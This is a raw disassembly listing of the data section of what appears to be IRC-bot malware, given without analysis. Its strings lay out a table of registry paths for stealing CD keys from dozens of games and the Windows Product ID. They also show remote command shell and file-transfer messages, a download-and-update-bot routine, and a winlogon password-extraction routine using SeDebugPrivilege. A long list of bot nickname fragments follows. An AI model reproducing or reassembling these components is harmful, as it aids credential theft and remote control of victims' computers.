asc_435D6C db '-' ; DATA XREF: sub_417E51+D2o
db 3, 34h, 2
dd 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h, 6574656Ch
dd 0
dword_435D88 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
; DATA XREF: sub_417E51+41o
dd 676E6974h, 0
aDisplay db 'DISPLAY',0 ; DATA XREF: sub_417F75+12o
aWindow db 'Window',0 ; DATA XREF: sub_4181B2+23o
; sub_4183AB+26o
align 4
aKey3 db 'Key3=',0
align 4
aNeverwinterNig db 'Neverwinter Nights (Hordes of the Underdark)',0
align 4
aKey2 db 'Key2=',0
align 4
aNeverwinterN_0 db 'Neverwinter Nights (Shadows of Undrentide)',0
align 10h
aKey1 db 'Key1=',0
align 4
aNwncdkey_ini db 'nwncdkey.ini',0
align 4
aNeverwinterN_1 db 'Neverwinter Nights',0
align 4
aLocation db 'Location',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 4
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 10h
aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0
align 10h
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
aSoftwareIllusi db 'Software\Illusion Softworks\Hidden & Dangerous 2',0
align 4
aChrome db 'Chrome',0
align 4
aSerialnumber db 'SerialNumber',0
align 4
aSoftwareTechla db 'Software\Techland\Chrome',0
align 10h
aNox db 'NOX',0
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 4
aCommandAndConq db 'Command and Conquer: Red Alert 2',0
align 10h
aSoftwareWest_0 db 'Software\Westwood\Red Alert 2',0
align 10h
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0
align 10h
aSoftwareWest_1 db 'Software\Westwood\Red Alert',0
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 10h
aSerial db 'Serial',0
align 4
aSoftwareWest_2 db 'Software\Westwood\Tiberian Sun',0
align 4
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
aSoftwareRedSto db 'Software\Red Storm Entertainment\RAVENSHIELD',0
align 4
aNascarRacing20 db 'Nascar Racing 2003',0
align 4
aSoftwareElectr db 'Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
aNascarRacing_0 db 'Nascar Racing 2002',0
align 4
aSoftwareElec_0 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
aNhl2003 db 'NHL 2003',0
align 10h
aSoftwareElec_1 db 'Software\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
aNhl2002 db 'NHL 2002',0
align 10h
aSoftwareElec_2 db 'Software\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 4
aFifa2003 db 'FIFA 2003',0
align 10h
aSoftwareElec_3 db 'Software\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
aFifa2002 db 'FIFA 2002',0
align 10h
aSoftwareElec_4 db 'Software\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 4
aSoftwareElec_5 db 'Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
db 'ion\ergc',0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0
aSoftwareElec_6 db 'Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
db 0
align 4
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 4
aErgc db 'ergc',0
align 4
aSoftwareElec_7 db 'Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 4
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 4
aSoftwareElec_8 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
db 'pearhead\ergc',0
align 4
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 4
aSoftwareElec_9 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
db 'reakthrough\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 10h
aSoftwareEle_10 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
db 'rgc',0
align 4
aGlobalOperatio db 'Global Operations',0
align 4
aSoftwareEle_11 db 'Software\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 4
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 4
aSoftwareEle_12 db 'Software\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 8
aSoftwareEle_13 db 'Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 8
aSoftwareEle_14 db 'Software\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
db 'ro Hour\ergc',0
align 4
aBlackAndWhite db 'Black and White',0
aSoftwareEle_15 db 'Software\Electronic Arts\EA GAMES\Black and White\ergc',0
align 10h
aBattlefieldVie db 'Battlefield Vietnam',0
aSoftwareEle_16 db 'Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 10h
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 10h
aSoftwareEle_17 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
db ' of WWII\ergc',0
align 10h
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
aSoftwareEle_18 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
db 'me\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942',0
align 10h
aSoftwareEle_19 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 4
aSoftwareEle_20 db 'Software\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
aSoftwareIgi2Re db 'Software\IGI 2 Retail',0
align 4
aUnrealTourname db 'Unreal Tournament 2004',0
align 4
aSoftwareUnreal db 'Software\Unreal Technology\Installed Apps\UT2004',0
align 10h
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 4
aSoftwareUnre_0 db 'Software\Unreal Technology\Installed Apps\UT2003',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
aProductid db 'ProductId',0
align 4
aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion',0
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 4
aCustomernumber db 'CustomerNumber',0
align 4
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 10h
aPrvkey db 'prvkey',0
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aHalfLife db 'Half-Life',0
align 4
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 4
aGunmanChronicl db 'Gunman Chronicles',0
align 10h
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 4
aTheGladiators db 'The Gladiators',0
align 4
aRegnumber db 'RegNumber',0
align 10h
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .data:00442AA4o
aCdkey db 'CDKey',0 ; DATA XREF: .data:00442AA0o
align 4
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .data:off_442A9Co
align 10h
; char asc_436B90[]
asc_436B90 db '=',0 ; DATA XREF: sub_4185EA+E7o
; sub_4185EA+F2o
align 4
; char asc_436B94[]
asc_436B94 db '-' ; DATA XREF: sub_4185EA+2Bo
db 3, 34h, 2
dd 656B6463h, 3027379h, 7325202Dh, 7325203Ah, 0
; char asc_436BAC[]
asc_436BAC db '-' ; DATA XREF: sub_418799+16Ao
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 10h
; char asc_436BE0[]
asc_436BE0 db '-' ; DATA XREF: sub_418799+ACo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 10h
; char asc_436C10[]
asc_436C10 db '-' ; DATA XREF: sub_418799+4Co
; sub_418956+FFo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 4
; char asc_436C34[]
asc_436C34 db '-' ; DATA XREF: sub_418956+35Eo
; sub_418CEA+152o
db 3, 34h, 2
dd 2636364h, 73202D03h, 656B636Fh, 72652074h, 726F72h
; char asc_436C4C[]
asc_436C4C db '-' ; DATA XREF: sub_418956+2F6o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 4
; char asc_436C78[]
asc_436C78 db '-' ; DATA XREF: sub_418956+1FEo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 4
dword_436C9C dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: sub_418956+1C7o
dd 74756Fh
; char dword_436CB4
dword_436CB4 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_418956+16Co
dd 169h
unk_436CCC db 2Dh ; - ; DATA XREF: sub_418956+129o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 4
unk_436CEC db 2Dh ; - ; DATA XREF: sub_418956+84o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_436D10 db 2Dh ; - ; DATA XREF: sub_418956+46o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_2 db '- failed to create socket',0
align 4
; char asc_436D34[]
asc_436D34 db '-' ; DATA XREF: sub_418CEA+1C7o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 10h
; char asc_436D60[]
asc_436D60 db '-' ; DATA XREF: sub_418CEA+C7o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
unk_436D80 db 2Dh ; - ; DATA XREF: sub_418CEA+A7o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 4
; char aAB[]
aAB db 'a+b',0 ; DATA XREF: sub_418CEA+93o
unk_436DB0 db 2Dh ; - ; DATA XREF: sub_418CEA+7Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 10h
; char asc_436DE0[]
asc_436DE0 db '-' ; DATA XREF: sub_418F38+491o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
unk_436E0C db 2Dh ; - ; DATA XREF: sub_418F38+483o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 10h
; char asc_436E40[]
asc_436E40 db '-' ; DATA XREF: sub_418F38+3D9o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 4
; char asc_436E84[]
asc_436E84 db '-' ; DATA XREF: sub_418F38+35Ao
db 3, 34h, 2
dd 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh, 25206465h
dd 73h
; char asc_436EA0[]
asc_436EA0 db '-' ; DATA XREF: sub_418F38+2E3o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 4
dbl_436ED8 dq 9.765625e-4 ; DATA XREF: sub_418F38+2B2r
; sub_418F38:loc_41920Ar ...
; char asc_436EE0[]
asc_436EE0 db '-' ; DATA XREF: sub_418F38+256o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
; char asc_436F08[]
asc_436F08 db '-' ; DATA XREF: sub_418F38+1C9o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 4
; char asc_436F34[]
asc_436F34 db '-' ; DATA XREF: sub_418F38:loc_4190CFo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 4
unk_436F5C db 2Dh ; - ; DATA XREF: sub_418F38+190o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 4
; char asc_436F84[]
asc_436F84 db '-' ; DATA XREF: sub_418F38+79o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_4194B8:loc_4194FBo
; sub_41B98C+104o
aInvalid db 'Invalid',0 ; DATA XREF: sub_4194B8:loc_4194F5o
aDisk db 'Disk',0 ; DATA XREF: sub_4194B8:loc_4194EFo
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_4194B8:loc_4194E9o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_4194B8:loc_4194E3o
align 4
off_436FD4 dd offset word_4D4152 ; DATA XREF: sub_4194B8:loc_4194DDo
dword_436FD8 dd 3Fh ; DATA XREF: sub_4194B8+1Fo
; char aFailed[]
aFailed db 'failed',0 ; DATA XREF: sub_419549:loc_419621o
; sub_419664+24o
align 4
; char aSkb[]
aSkb db '%sKB',0 ; DATA XREF: sub_419549+6Co
align 4
; char asc_436FEC[]
asc_436FEC db '-' ; DATA XREF: sub_419664+7Do
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
; char asc_437028[]
asc_437028 db '-' ; DATA XREF: sub_419664+47o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
; char aA_1[]
aA_1 db 'A:\',0 ; DATA XREF: sub_419725:loc_41975Bo
; char asc_437068[]
asc_437068 db '-' ; DATA XREF: sub_419799+107o
db 3, 34h, 2
dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 73252064h
dd 73255Ch
; char aS_4[]
aS_4 db '%s\*',0 ; DATA XREF: sub_419799+14o
align 4
; char asc_43708C[]
asc_43708C db '-' ; DATA XREF: sub_4198EB+C7o
db 3, 34h, 2
dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 64252064h
dd 6C696620h, 7365h
; char asc_4370AC[]
asc_4370AC db '-' ; DATA XREF: sub_4198EB+5Eo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 4
; char aMsgina[]
aMsgina db 'MSGINA',0 ; DATA XREF: sub_419A03+13Eo
align 4
; char aNwgina[]
aNwgina db 'NWGINA',0 ; DATA XREF: sub_419A03+123o
align 4
; char aWinlogon[]
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_419A03+B9o
align 10h
; char asc_4370F0[]
asc_4370F0 db '-' ; DATA XREF: sub_419E4F+70o
; sub_419EE6+C5o
db 3, 34h, 2
dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh
dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h
dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h
dd 65735502h, 203A0272h, 2F532528h, 295325h
; char asc_437140[]
asc_437140 db '-' ; DATA XREF: sub_419EE6+DFo
db 3, 34h, 2
dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh
dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h
dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h
dd 65735502h, 203A0272h, 2F532528h, 412F4E28h, 2929h
; char asc_437194[]
asc_437194 db '-' ; DATA XREF: sub_419FFD:loc_41A174o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToEnable db 'failed to enable debug privilege',0
align 4
; char asc_4371C8[]
asc_4371C8 db '-' ; DATA XREF: sub_419FFD:loc_41A148o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindWi db 'unable to find winlogon pid',0
unk_4371F4 db 2Dh ; - ; DATA XREF: sub_419FFD:loc_41A141o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindTh db 'unable to find the password in memory',0
align 10h
; char asc_437230[]
asc_437230 db '-' ; DATA XREF: sub_419FFD+116o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
db 57h ; W
db 69h, 6Eh, 4Ch
db 6Fh ; o
db 67h, 6Fh, 6Eh
db 20h
db 49h, 6Eh, 66h
db 6Fh ; o
db 72h, 6Dh, 61h
db 74h ; t
db 69h, 6Fh, 6Eh
db 20h
db 28h, 50h, 49h
db 44h ; D
db 20h, 25h, 64h
db 29h ; )
db 20h, 2Dh, 20h
db 2
db 44h, 6Fh, 6Dh
db 61h ; a
db 69h, 6Eh, 2
db 3Ah ; :
db 20h, 2 dup(5Ch)
db 25h ; %
db 53h, 2Ch, 20h
db 2
db 55h, 73h, 65h
db 72h ; r
db 2, 3Ah, 20h
aSNoPassword_ db '(%S/(no password)).',0
aUserdomain: ; DATA XREF: sub_419FFD+DBo
unicode 0, <USERDOMAIN>,0
align 4
aUsername: ; DATA XREF: sub_419FFD+CDo
unicode 0, <USERNAME>,0
align 4
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_419FFD+99o
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_419FFD+8Co
align 10h
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_419FFD+7Fo
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_419FFD+72o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_419FFD+67o
align 4
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_419FFD+54o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_419FFD+40o
; sub_419FFD+160o ...
align 4
dword_437368 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 796C6E6Fh
; DATA XREF: sub_419FFD+35o
dd 70757320h, 74726F70h, 6F206465h, 6977206Eh, 2F746E6Eh
dd 326E6977h, 6Bh, 7536h, 7535h, 7C75347Ch, 0
a4you db '{4you}',0 ; DATA XREF: .data:00443358o
align 10h
a4us db '|4us|',0 ; DATA XREF: .data:00443354o
align 4
aSex4free db '|sex4free|',0 ; DATA XREF: .data:00443350o
align 4
aLoloA db 'lolo|a|',0 ; DATA XREF: .data:0044334Co
aLol db 'lol',0 ; DATA XREF: .data:00443348o
aTot db 'tot',0 ; DATA XREF: .data:00443344o
aMofo db 'mofo',0 ; DATA XREF: .data:00443340o
align 4
aMof0 db 'mof0',0 ; DATA XREF: .data:0044333Co
align 4
aMuha db 'muha',0 ; DATA XREF: .data:00443338o
align 4
aYeah db 'yeah',0 ; DATA XREF: .data:00443334o
align 4
aAha db 'aha',0 ; DATA XREF: .data:00443330o
aShit db 'shit',0 ; DATA XREF: .data:0044332Co
align 10h
aGurl db 'gurl',0 ; DATA XREF: .data:00443328o
align 4
aGirl db 'GIRL',0 ; DATA XREF: .data:00443324o
align 10h
aBoy db 'BOY',0 ; DATA XREF: .data:00443320o
aFree db 'Free',0 ; DATA XREF: .data:0044330Co
align 4
aFuck_0 db 'Fuck',0 ; DATA XREF: .data:00443308o
align 4
aSleeping db 'Sleeping',0 ; DATA XREF: .data:004432FCo
align 10h
aF db '^^^f^',0 ; DATA XREF: .data:004432F0o
align 4
aSad db 'Sad',0 ; DATA XREF: .data:004432ECo
aLuvu db 'LUVU',0 ; DATA XREF: .data:004432E8o
align 4
a___0 db '_|_',0 ; DATA XREF: .data:004432CCo
aBbl db '|bbl',0 ; DATA XREF: .data:004432C0o
align 10h
off_437450 dd offset loc_425241+1 ; DATA XREF: .data:004432BCo
aMuckc db 'muckc',0 ; DATA XREF: .data:004432A8o
align 4
aTruck db 'truck',0 ; DATA XREF: .data:004432A4o
align 4
aTrimy db 'trimy',0 ; DATA XREF: .data:004432A0o
align 4
aLuvy db 'luvy',0 ; DATA XREF: .data:0044329Co
align 4
aUi db 'ui',0 ; DATA XREF: .data:00443298o
align 4
aSdf db 'sdf',0 ; DATA XREF: .data:00443294o
aRt db 'rt',0 ; DATA XREF: .data:00443290o
align 10h
aGf db 'gf',0 ; DATA XREF: .data:0044328Co
align 4
aTy db 'ty',0 ; DATA XREF: .data:00443288o
align 4
aRg db 'rg',0 ; DATA XREF: .data:00443284o
align 4
aHappy db 'happy',0 ; DATA XREF: .data:00443280o
align 4
aRs db 'rs',0 ; DATA XREF: .data:00443260o
align 4
aQ8A db '|q8|a',0 ; DATA XREF: .data:00443218o
align 10h
aQ8 db 'Q8',0 ; DATA XREF: .data:00443214o
align 4
aSick db 'sick}}',0 ; DATA XREF: .data:00443210o
align 4
aWiked db '|wiked|',0 ; DATA XREF: .data:0044320Co
aLuvuF db '||luvu-f|',0 ; DATA XREF: .data:00443208o
align 10h
aGens db '{gens|',0 ; DATA XREF: .data:00443204o
align 4
aSex_0 db '{sex}',0 ; DATA XREF: .data:00443200o
align 10h
aHub db '{hub}',0 ; DATA XREF: .data:004431FCo
align 4
aLuck db '|luck|',0 ; DATA XREF: .data:004431F8o
align 10h
aSuck db '|suck|',0 ; DATA XREF: .data:004431F4o
align 4
aTot_0 db '-|tot|',0 ; DATA XREF: .data:004431F0o
align 10h
aWoh db '|woh|',0 ; DATA XREF: .data:004431ECo
align 4
aTambe db '|tambe|',0 ; DATA XREF: .data:004431E8o
aLag db 'lag',0 ; DATA XREF: .data:004431E4o
aBad db 'bad',0 ; DATA XREF: .data:004431E0o
aTree db 'tree',0 ; DATA XREF: .data:004431DCo
align 10h
aZex db 'zex',0 ; DATA XREF: .data:004431D8o
aLez db 'lez',0 ; DATA XREF: .data:004431D4o
aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: .data:004431CCo
align 4
aCumhur29 db 'cumhur29',0 ; DATA XREF: .data:004431C8o
align 10h
aAdamm db 'ADAMM',0 ; DATA XREF: .data:004431C4o
align 4
aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: .data:004431C0o
align 4
aPrometheus db 'prometheus',0 ; DATA XREF: .data:004431BCo
align 10h
aDallas43m db 'DALLAS43M',0 ; DATA XREF: .data:004431B8o
align 4
aTeoman db 'TEOMAN```',0 ; DATA XREF: .data:004431B4o
align 4
aRerpjj db 'RERPJJ',0 ; DATA XREF: .data:004431B0o
align 10h
aCem39 db 'cem39',0 ; DATA XREF: .data:004431ACo
align 4
aCool30m db 'cool30m',0 ; DATA XREF: .data:004431A8o
aTropikal db 'tropikal',0 ; DATA XREF: .data:004431A4o
align 4
aPassenger db 'passenger',0 ; DATA XREF: .data:004431A0o
align 4
aNeHaber db 'NE-HABER',0 ; DATA XREF: .data:0044319Co
align 4
aUla db 'ula',0 ; DATA XREF: .data:00443198o
aIzmirlm db 'izmirlm',0 ; DATA XREF: .data:00443194o
aAkden db 'akden',0 ; DATA XREF: .data:00443190o
align 4
aKoray db 'KORAY',0 ; DATA XREF: .data:0044318Co
align 10h
aAta29 db 'Ata29',0 ; DATA XREF: .data:00443188o
align 4
aFirtina db 'firtina',0 ; DATA XREF: .data:00443184o
aAdamm33 db 'AdAMM33',0 ; DATA XREF: .data:00443180o
aM41ist db 'M41IST',0 ; DATA XREF: .data:0044317Co
align 10h
aMaxsilla db 'maxsilla',0 ; DATA XREF: .data:00443178o
align 4
aAdem28 db 'Adem28',0 ; DATA XREF: .data:00443174o
align 4
aAnkm db 'ankM',0 ; DATA XREF: .data:00443170o
align 4
aErkan db 'erkan',0 ; DATA XREF: .data:0044316Co
align 4
aDevre db 'devre',0 ; DATA XREF: .data:00443168o
align 4
aYabanc db 'yabanc',0 ; DATA XREF: .data:00443164o
align 4
aBirsen db 'birsen',0 ; DATA XREF: .data:00443160o
align 4
aA44m db 'a44m',0 ; DATA XREF: .data:0044315Co
align 4
aAlcatras db 'alcatras',0 ; DATA XREF: .data:00443158o
align 10h
off_437630 dd offset byte_4B5245 ; DATA XREF: .data:00443154o
aSevda db 'sevda',0 ; DATA XREF: .data:00443150o
align 4
aKotan db 'kotan',0 ; DATA XREF: .data:0044314Co
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: .data:00443148o
align 4
aAchilles db 'Achilles',0 ; DATA XREF: .data:00443144o
align 4
aKapk db 'kapk',0 ; DATA XREF: .data:00443140o
align 10h
aAngelgirl db 'angelgirl',0 ; DATA XREF: .data:0044313Co
align 4
aHayran db 'hayran',0 ; DATA XREF: .data:00443138o
align 4
aFenerlee db 'FeNeRLee',0 ; DATA XREF: .data:00443134o
align 10h
aAnkar db 'Ankar',0 ; DATA XREF: .data:00443130o
align 4
aDjspace db 'DJSPACE',0 ; DATA XREF: .data:0044312Co
aAnk32M db 'ANK-32-M',0 ; DATA XREF: .data:00443128o
align 4
aUmut db 'umut-',0 ; DATA XREF: .data:00443124o
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: .data:00443120o
align 4
aKumul db 'kumul',0 ; DATA XREF: .data:0044311Co
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: .data:00443118o
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: .data:00443114o
align 4
aSeviseli db 'SeViSeLi',0 ; DATA XREF: .data:00443110o
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: .data:0044310Co
align 10h
aAykut1 db 'aykut1',0 ; DATA XREF: .data:00443108o
align 4
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: .data:00443104o
align 4
aMahinur db 'MAHINUR',0 ; DATA XREF: .data:00443100o
aHoly db 'holy',0 ; DATA XREF: .data:004430FCo
align 4
aFlord db 'FLoRD',0 ; DATA XREF: .data:004430F8o
align 10h
aKebikec db 'kebikec',0 ; DATA XREF: .data:004430F4o
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: .data:004430F0o
align 4
aElmaazyok db 'elmaazyok',0 ; DATA XREF: .data:004430ECo
align 10h
aEmre db 'Emre--',0 ; DATA XREF: .data:004430E8o
align 4
aRamtha db 'RAMTHA',0 ; DATA XREF: .data:004430E4o
align 10h
aImirzali db 'IMIRZALI--',0 ; DATA XREF: .data:004430E0o
align 4
aHakan3 db 'hakan3',0 ; DATA XREF: .data:004430DCo
align 4
aMurat34M db 'murat34-m',0 ; DATA XREF: .data:004430D8o
align 10h
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: .data:004430D4o
aArda db 'arda',0 ; DATA XREF: .data:004430D0o
align 4
aDevran db 'devran',0 ; DATA XREF: .data:004430CCo
align 4
aBerk19m db 'Berk19m',0 ; DATA XREF: .data:004430C8o
aDenizlim db 'DenizliM',0 ; DATA XREF: .data:004430C4o
align 10h
aCongueror db 'CoNGuERoR',0 ; DATA XREF: .data:004430C0o
align 4
aAlpay34m db 'alpay34m',0 ; DATA XREF: .data:004430BCo
align 4
aBogac db 'bogac',0 ; DATA XREF: .data:004430B8o
align 10h
aDonjuanm db 'Donjuanm',0 ; DATA XREF: .data:004430B4o
align 4
aAnkh db 'ankh',0 ; DATA XREF: .data:004430B0o
align 4
off_4377C4 dd offset byte_457441 ; DATA XREF: .data:004430ACo
aAyla db 'AYLA-',0 ; DATA XREF: .data:004430A8o
align 10h
